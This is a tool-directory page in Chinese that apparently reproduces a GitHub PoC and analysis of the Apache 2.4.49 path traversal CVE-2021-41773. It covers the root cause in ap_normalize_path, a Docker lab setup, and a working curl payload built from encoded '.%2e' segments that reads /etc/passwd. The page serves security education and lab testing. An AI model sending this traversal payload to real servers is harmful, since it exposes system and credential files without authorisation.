Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-41773 — CVE-2021-41773 的 PoC 与分析 | Kitploit
工具/GitHubGitHub/tr3m0x/cve-2021-41773
漏洞分析Web应用程序漏洞利用Web安全渗透测试学习与教育实验室与实践
GitHubtr3m0x/cve-2021-41773

CVE-2021-41773

CVE-2021-41773 的 PoC 与分析

查看仓库
61个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-41773 PoC — Apache HTTP Server 路径遍历

概述

CVE-2021-41773 是一个影响 Apache HTTP Server 2.4.49 的路径遍历漏洞。

该漏洞允许攻击者在特定配置下访问预期目录之外的文件,尤其是当目录通过 Alias、ScriptAlias 或其他类似 Alias 的指令暴露时。

该漏洞是由于 URL 路径规范化和标准化 处理不当所致。Apache 对可能仍包含编码字符的路径表示形式执行安全检查,使攻击者能够利用编码的点序列绕过遍历检测。


影响

攻击者可以构造包含编码遍历序列的恶意 URL,例如:

root@kitploit:~
.%2e

其中:

root@kitploit:~
%2e = .

因此:

root@kitploit:~
.%2e

解码后变为:

root@kitploit:~
..

如果 Apache 在将编码表示解析为其规范形式之前对其进行验证,则可以绕过遍历检查。

成功利用该漏洞可允许攻击者读取文件系统上的任意文件。

示例目标:

root@kitploit:~
/etc/passwd

漏洞代码

易受攻击的逻辑位于:

root@kitploit:~
server/util.c

内部:

root@kitploit:~
ap_normalize_path()

Apache 2.4.49 的漏洞代码:

root@kitploit:~
if (path[l] == '.') {
    /* Remove /./ segments */
    if (IS_SLASH_OR_NUL(path[l + 1])) {
        l++;
        if (path[l]) {
            l++;
        }
        continue;
    }

    /* Remove /xx/../ segments */
    if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
        /* Wind w back to remove the previous segment */
        if (w > 1) {
            do {
                w--;
            } while (w && !IS_SLASH(path[w - 1]));
        }
        else {
            /* Already at root, ignore and return a failure
             * if asked to.
             */
            if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                ret = 0;
            }
        }

        /* Move l forward to the next segment */
        l += 2;
        if (path[l]) {
            l++;
        }
        continue;
    }
}

根本原因分析

漏洞代码尝试识别目录遍历模式:

root@kitploit:~
../

通过检查连续的点:

root@kitploit:~
path[l + 1] == '.'

然而,攻击者可以提供编码的遍历序列:

root@kitploit:~
/.%2e/

在进行规范化检查时,Apache 处理的是:

root@kitploit:~
.%2e

而不是:

root@kitploit:~
..

因为:

root@kitploit:~
%2e != .

遍历检测逻辑无法将该序列识别为:

root@kitploit:~
../

路径随后以其解码形式被解释,从而允许遍历发生。


存在漏洞的处理流程

易受攻击的行为可以表示如下:

root@kitploit:~
HTTP Request

      |
      v

Path normalization / traversal validation

      |
      v

URL decoding / canonicalization

      |
      v

Filesystem access

安全决策是在路径达到其最终规范表示之前做出的。

更安全的方法是:

root@kitploit:~
HTTP Request

      |
      v

URL decoding

      |
      v

Path normalization

      |
      v

Traversal validation

      |
      v

Filesystem access

安全检查应始终针对最终的规范化表示执行。


实验环境搭建

克隆仓库

root@kitploit:~
git clone https://github.com/tr3m0x/CVE-2021-41773.git
cd CVE-2021-41773

构建易受攻击的 Docker 镜像

root@kitploit:~
docker build -t apache-cve-2021-41773 .

启动易受攻击的 Apache 服务器

root@kitploit:~
docker run -d \
--name apache-vulnerable \
-p 8989:80 \
apache-cve-2021-41773

漏洞利用

发送包含编码遍历序列的请求:

root@kitploit:~
curl --path-as-is \
"http://localhost:8989/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

成功利用将返回以下文件的内容:

root@kitploit:~
/etc/passwd

示例:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash

关于 HTTP 403 响应的说明

403 Forbidden 响应并不一定意味着漏洞利用失败。

在测试过程中,Apache 可能会成功地将:

root@kitploit:~
/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd

规范化为:

root@kitploit:~
/etc/passwd

但因文件系统权限或 Apache 授权规则而拒绝访问。

示例:

root@kitploit:~
client denied by server configuration: /etc/passwd

这表明遍历已成功发生,但访问控制阻止了文件泄露。


关键要点

CVE-2021-41773 是 规范化漏洞 的一个典型示例。

用户可控的输入可以有多种表示形式:

root@kitploit:~
.%2e

和:

root@kitploit:~
..

尽管它们看起来不同,但它们表示相同的路径组件。

安全检查必须始终在解码和规范化之后执行。验证编码或模糊的表示形式可能导致安全绕过。

下载工具